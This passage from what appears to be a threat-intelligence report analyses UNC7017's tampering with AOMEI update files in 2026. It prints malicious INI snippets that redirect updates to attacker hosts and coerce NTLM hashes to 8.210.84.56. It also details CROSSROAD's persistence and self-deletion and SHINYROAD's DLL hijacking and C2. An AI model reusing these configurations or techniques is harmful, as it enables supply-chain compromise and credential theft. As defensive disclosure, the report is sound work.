&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Notification Configuration (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Notifycfg.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;): The software contacts &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;https://account.aomeitech.com/Notifycfg.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. This file instructs the local notification process (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;ABNotify.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) what messages to display and specifies commands or programs located in the software’s local directory to execute.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Under normal conditions, these files direct the client to download official files hosted on AOMEI’s own domain (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;www2.aomeisoftware.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Campaign Overview&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Rather than maintaining a persistent, static modification on the vendor’s distribution servers, GTIG and METAL’s telemetry indicates UNC7017 conducted repeated, short-burst configuration tampering. We confirmed several tampering windows in 2026, alongside related malware samples observed in the wild starting in late April. However, given the short duration of these windows, it is probable that additional tampering occurred throughout the campaign that remained outside our visibility. Systems checking for updates during an active window received malicious instructions, while systems checking before or after received clean, authentic files. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;During the brief tampering windows, the threat actor modified the update settings file on the update server to redirect the software to download a malicious ZIP package from attacker-controlled servers instead of legitimate updates. The threat actor also altered the notification settings file on the update server to abuse the software’s automatic notification service, forcing the system to immediately execute the downloaded malware locally. If a user’s application checked for updates while the threat actor’s modifications were active, then the application would download the trojanized update and execute malware. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In cases where altered configuration files were active, the threat actor directed clients to download a weaponized ZIP archive containing CROSSROAD, an initial downloader responsible for environment validation and staging secondary components. CROSSROAD subsequently established scheduled task persistence to deploy SHINYROAD, a modular backdoor framework delivered via trojanized administration utilities to facilitate covert command and control.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Short Burst Supply Chain Tampering&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;A defining characteristic of UNC7017's operational security is its reliance on ephemeral, time-compressed server modifications. Across all directly observed waves, the adversary avoided leaving malicious configurations resident on AOMEI's update servers:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;May 28: 10-minute exposure window (05:40 – 05:50 UTC)&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;July 16: 6-minute exposure window (08:33 – 08:39 UTC)&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;July 20: 5-minute exposure window (10:35 – 10:40 UTC)&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;At the conclusion of each window, UNC7017 reverted both down_html.ini and Notifycfg.ini to their legitimate contents. This hinders post-incident vendor audits, minimizes the window for network defenders to capture live malicious server responses, and restricts compromise to clients polling for updates during those exact minutes.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Weaponizing Native Update Logic: down_html.ini and Configuration Bloat&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To compromise endpoints without relying on software vulnerabilities, UNC7017 abused the AOMEI client's legitimate update and popup rendering workflow. By default, the client downloads update archives into its Tmphtml directory, unpacks them to the local html/ directory, and processes instructions from two remote configuration files: down_html.ini and Notifycfg.ini.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To ensure the AOMEI client accepted and extracted the weaponized upgrade-now.zip archive, UNC7017 systematically incremented the minor build version (“thrid”) and updated the expected MD5 checksum in down_html.ini during each tampering window:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;[Date]
-Url=https://www2.aomeisoftware.com/download/abpopup/upgrade-now.zip
+Url=https://promotion.storage-data.com/download/abpopup/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
-thrid=5
+thrid=6
[MD5]
-Val=EE89C99F3753231771170F5D9CBBAE1E
+Val=31323E7E738230FA6A8DEEF2B7894666&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 2: July 16 tampering of down_html.ini redirecting downloads to promotion.storage-data.com with incremented version (thrid=6) and synchronized MD5 hash.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;During the 6-minute window on July 16, UNC7017 simultaneously modified Notifycfg.ini (SHA256: d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934), injecting over 35,000 lines of repetitive configuration sections named [dummy_XXXXXX]. This extreme configuration bloat was structured to override standard client version checks forcing the client to trigger an update regardless of its installed version and immediately execute the unpacked CROSSROAD dropper (upgrade-now.exe) from the local html/ directory.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Infrastructure Shifts&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Between April an July 2026, UNC7017 shifted its staging and delivery infrastructure between public cloud buckets and actor controlled lookalike domains, likely to test payload delivery and masquerade as legitimate vendor traffic. &lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Infrastructure Shifts&lt;/span&gt;&lt;/h4&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Early Cloud Staging (April–May 2026):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Early CROSSROAD payloads (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; observed May 20) relied on Alibaba Cloud Object Storage (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;serv.oss-cn-hongkong.aliyuncs.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Dedicated Domain Infrastructure (July 1–7, 2026):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The threat actor transitioned to dedicated, vendor-themed domains (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;promotion.storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;aomei.storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Hybrid Cloud Delivery Split (July 20, 2026):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; During the 5-minute window on July 20, the threat actor modified &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;down_html.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to direct initial client downloads to a public Google Cloud Storage bucket (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage.googleapis.com/aomeiupdate/upgrade-now.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) rather than &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. This tactical shift allowed the initial download to bypass enterprise proxy filters that block Newly Registered Domains (NRDs), while the executed CROSSROAD loader continued to leverage &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;storage-data.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; for secondary payload retrieval and C2 communications.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;[Date]
Url=https://storage.googleapis.com/aomeiupdate/upgrade-now.zip
Name=upgrade-now
[Version]
maj=8
min=2
thrid=7
[MD5]
Val=BF73C4391B58CA95220CE3AE03F66DCF&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 3: July 20 modification of down_html.ini utilizing Google Cloud Storage (thrid=7) to evade Newly Registered Domain (NRD) perimeter blocks.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;WebDAV NTLM Credential Coercion&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;On July 20, UNC7017 introduced a secondary exploitation vector inside Notifycfg.ini. Prior to tampering, Notifycfg.ini displayed a legitimate 400x380 promotional banner advertising "World Cup Deals." The threat actor replaced this banner with an invisible 1x1 pixel window (Width=1, Height=1) assigned maximum execution priority (Priority=9999) that instructed the client to render a remote HTML file over a universal naming convention (UNC) WebDAV path:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;pre class="language-markup"&gt;&lt;code&gt;[PopWindow1]
ID=307
Title=20260408-AB Flash Sale (All Lang 不含EN)
Address="file://8.210.84.56/DavWWWRoot/campaign/24hour-flash-sale.html"
Width=1
Height=1
Priority=9999
&lt;/code&gt;&lt;/pre&gt;
&lt;p style="text-align: center;"&gt;&lt;span style="color: #5f6368; display: block; font-size: 16px; font-style: italic; margin-top: 8px; width: 100%;"&gt;&lt;span style="vertical-align: baseline;"&gt;Figure 4: Malicious &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Notifycfg.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; configuration from July 20 implementing an invisible 1x1 popup window to coerce WebDAV/NTLM authentication to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.210.84.56&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt; &lt;/p&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By forcing the AOMEI client to request a remote &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;file://&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; resource via WebDAV (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;DavWWWRoot&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;), UNC7017 created a silent credential harvesting mechanism capable of coercing endpoints into transmitting NetNTLMv2 authentication hashes to the actor-controlled IP address (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.210.84.56&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) without user visibility.&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Malware Delivery &amp;amp; Post-Exploitation Tooling&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Across the campaign waves, UNC7017 deployed a consistent chain of custom loaders and commercial/open-source post-exploitation frameworks:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Defense Evasion via Timestomping: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Analysis of an early CROSSROAD dropper (upgrade-now.exe) submitted to VirusTotal on May 20 revealed that the threat actor manipulated PE compilation timestamps to display fabricated 2024 build dates in an effort to complicate forensic timeline analysis.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Modified Radmin Server Backdoor: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;During the May 28 wave, the unsigned loader dropped into the html/ directory executed rsetup64.exe /intsetup, silently installing a modified version of the commercial remote administration tool Radmin Server to establish persistent remote access.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Adaptix C2 Integration:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Since at least early July 2026, the threat actor was observed deploying the Adaptix C2 framework across its storage-data.com infrastructure.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;The Primary Downloader: CROSSROAD &lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The primary Stage-2 downloader (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, SHA256: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) is a 64-bit Windows executable written in C, tracked by GTIG as the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;CROSSROAD&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; malware family. Delivered inside &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, CROSSROAD is responsible for environment validation, active endpoint cleanup, staging the secondary payload bundle, and establishing scheduled task persistence for the Stage-3 backdoor suite.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Path Verification:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; As part of its configuration routine, CROSSROAD checks whether its file path contains the substring &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AOMEI&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. If the substring is absent, it initiates a self-deletion routine; however, it does not abort, continuing both its background configuration cleanup and its downloader routines regardless.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Execution Guardrails:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Before proceeding with secondary downloads, CROSSROAD enforces two primary checks:&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;ul&gt;
&lt;li aria-level="2" style="list-style-type: circle; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Geolocation Check:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Queries external domain name system (DNS) (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;myip.opendns.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;o-o.myaddr.l.google.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) and HTTP reflection services (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;checkip.amazonaws.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;api.ipify.org&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;ifconfig.me/ip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;icanhazip.com&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) using custom User-Agents (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Anyviewer-loader/1.0&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Anyviewer-ipcheck/1.0&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;). In specific execution branches, if the returned country code is &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;"CN"&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (China), the loader aborts its primary payload execution path.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="2" style="list-style-type: circle; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Lock Mutex:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Acquires the named mutex &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to prevent multiple concurrent instances on the same host.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Host Artifact Reversion &amp;amp; Anti-Forensics: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;To complicate post-incident triage and forensic reconstruction, the loader systematically reverts local configuration states during its execution cycle. The malware parses &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;down_html.ini&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (located at &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;&amp;lt;install_dir&amp;gt;\..\..\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;), restoring the update thread parameter (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;thrid&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;) to its default value of 5 and pointing the update download URL back to legitimate AOMEI distribution infrastructure (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;https://www2.aomeisoftware.com/download/abpopup/&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;).&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Stage-3 Payload Staging &amp;amp; Extraction: If environment checks pass, CROSSROAD downloads https://promotion.storage-data.com/config/component.zip (also observed as en.zip), to %TEMP%\svc&amp;lt;random_hex&amp;gt;.tmp, and unpacks its contents into the user’s local application data directory using an embedded miniz library.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Persistence via Scheduled Task:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; To ensure continuous execution of the staged payload bundle, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;upgrade-now.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; registers a persistent scheduled task named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;RadminComponentRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (configured with the description”Radmin Component runtime checkable.”). The task is set to execute &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; every three hours.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Self-Deletion (&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;--nitrod&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; After extracting the payload bundle and creating the scheduled task, CROSSROAD purges itself from disk. To bypass Windows file-locking constraints, the executable drops a copy of itself to the temporary directory and executes it with the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;--nitrod&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; parameter, passing its parent PID via &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;NITRODP&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and original executable path via &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;NITRODT&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;. The child process waits for the parent to terminate, renames the original binary's primary &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;:$DATA&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; stream to an alternate data stream named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;:wtfbbq&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; via &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;SetFileInformationByHandle&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and flags &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FileDispositionInfo&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; with &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;DeleteFile = TRUE&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to unlink the binary on handle close.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Version Information:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; The executable contained standard PE version metadata with a notable typo string: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;"ProductName: AOMEI Update Compent"&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_5_Victim_Profiling_Malware_Delivery.max-1000x1000.png"
        
          alt="Victim Profiling, Malware Delivery Logic"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="sbufs"&gt;Figure 5: Victim Profiling, Malware Delivery Logic&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Stage-3 Payload: SHINYROAD and Radmin Suite&lt;/span&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The payload archive unpacked into &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Radmin\&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; by CROSSROAD contains a Famatech Radmin 3.x administration bundle used to deliver the &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;SHINYROAD&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; modular backdoor framework. The malware contains no native persistence mechanism of its own and relies entirely on the external scheduled task registered by CROSSROAD for execution.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Execution via DLL Search-Order Hijacking (&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Execution begins when the persistent &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;RadminComponentRuntime&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; scheduled task launches the legitimate, signed Radmin binary &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;%LOCALAPPDATA%\Radmin\FamItrfc.exe --runtimechk&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; (or &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FamItrf2.exe&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;). During startup, the Radmin executable is hijacked into loading the attacker's unsigned DLL, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, via search-order hijacking. The adversary named this DLL to masquerade as Radmin's legitimate "blank screen" driver library.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Shared Memory &amp;amp; In-Process COM Server Staging:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Upon execution, &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;BlkScrDl.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; locates &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;config.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; in its execution directory, maps its raw contents into a shared memory section named &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and dynamically registers &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;csvc\RuntimeComponent.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; as an in-process COM Server under CLSID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;{21191641-0D7F-4CD9-9572-01AAE6E7851B}&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and AppID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;{9AD3E98A-4C7E-4F37-982D-D73D41E4F91B}&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;COM-Triggered Stage-2 Initialization &amp;amp; Embedded PocketPy VM:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; When the Radmin process instantiates the registered CLSID, the Windows COM subsystem loads the DLL. The DLL reads &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;config.zip&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; directly from shared memory, extracts the encrypted payload &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;metadata.dat&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, and decrypts it using ChaCha20 with an HMAC-SHA256 derived key and IV. The decrypted payload consists of compiled Python bytecode, which &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;RuntimeComponent.dll&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; executes within an embedded PocketPy interpreter, establishing initial C2 connectivity to &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;8.218.65.184:443&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;span style="vertical-align: baseline;"&gt;Evolution of the SHINYROAD Architecture&lt;/span&gt;&lt;/h4&gt;
